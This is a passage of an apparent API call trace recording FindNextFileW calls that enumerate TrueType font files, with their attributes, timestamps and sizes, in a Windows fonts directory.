lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2af54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARIALN.TTF", cAlternateFileName="")) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a9c5a1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c204, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARIALNB.TTF", cAlternateFileName="")) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARIALNBI.TTF", cAlternateFileName="")) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c384, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARIALNI.TTF", cAlternateFileName="")) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb0cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARLRDBD.TTF", cAlternateFileName="")) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASKVILL.TTF", cAlternateFileName="")) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BAUHS93.TTF", cAlternateFileName="")) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BELL.TTF", cAlternateFileName="")) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14294, dwReserved0=0x0, dwReserved1=0x0, cFileName="BELLB.TTF", cAlternateFileName="")) returned 1 [0232.220] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86d24d65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14110, dwReserved0=0x0, dwReserved1=0x0, cFileName="BELLI.TTF", cAlternateFileName="")) returned 1 [0232.220] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BERNHC.TTF", cAlternateFileName="")) returned 1 [0232.220] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="BKANT.TTF", cAlternateFileName="")) returned 1 [0232.220] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x122c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_B.TTF", cAlternateFileName="")) returned 1 [0232.220] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_BI.TTF", cAlternateFileName="")) returned 1 [0232.220] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14768, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_BLAI.TTF", cAlternateFileName="")) returned 1 [0232.220] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_BLAR.TTF", cAlternateFileName="")) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1216c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_CB.TTF", cAlternateFileName="")) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_CBI.TTF", cAlternateFileName="")) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_CI.TTF", cAlternateFileName="")) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8875ec88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_CR.TTF", cAlternateFileName="")) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_I.TTF", cAlternateFileName="")) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x165c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_PSTC.TTF", cAlternateFileName="")) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8875ec88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_R.TTF", cAlternateFileName="")) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8875ec88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x274ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOKOS.TTF", cAlternateFileName="")) returned 1 [0232.222] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOKOSB.TTF", cAlternateFileName="")) returned 1 [0232.222] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27a9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOKOSBI.TTF", cAlternateFileName="")) returned 1 [0232.222] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x883a5225, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x274fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOKOSI.TTF", cAlternateFileName="")) returned 1 [0232.222] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRADHITC.TTF", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRITANIC.TTF", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRLNSB.TTF", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87a8e187, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRLNSDB.TTF", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87910bb6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17c04, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRLNSR.TTF", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87910bb6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xebd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BROADW.TTF", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87910bb6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRUSHSCI.TTF", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSSYM7.TTF", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb91b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalibriL.ttf", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd4070, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalibriLI.ttf", cAlternateFileName="CALIBR~1.TTF")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13aec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALIFB.TTF", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x181bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALIFI.TTF", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALIFR.TTF", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13914, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALIST.TTF", cAlternateFileName="")) returned 1 [0232.228] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALISTB.TTF", cAlternateFileName="")) returned 1 [0232.228] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14be0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALISTBI.TTF", cAlternateFileName="")) returned 1 [0232.228] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALISTI.TTF", cAlternateFileName="")) returned 1 [0232.228] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASTELAR.TTF", cAlternateFileName="")) returned 1 [0232.228] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27a4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENSCBK.TTF", cAlternateFileName="")) returned 1 [0232.228] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, 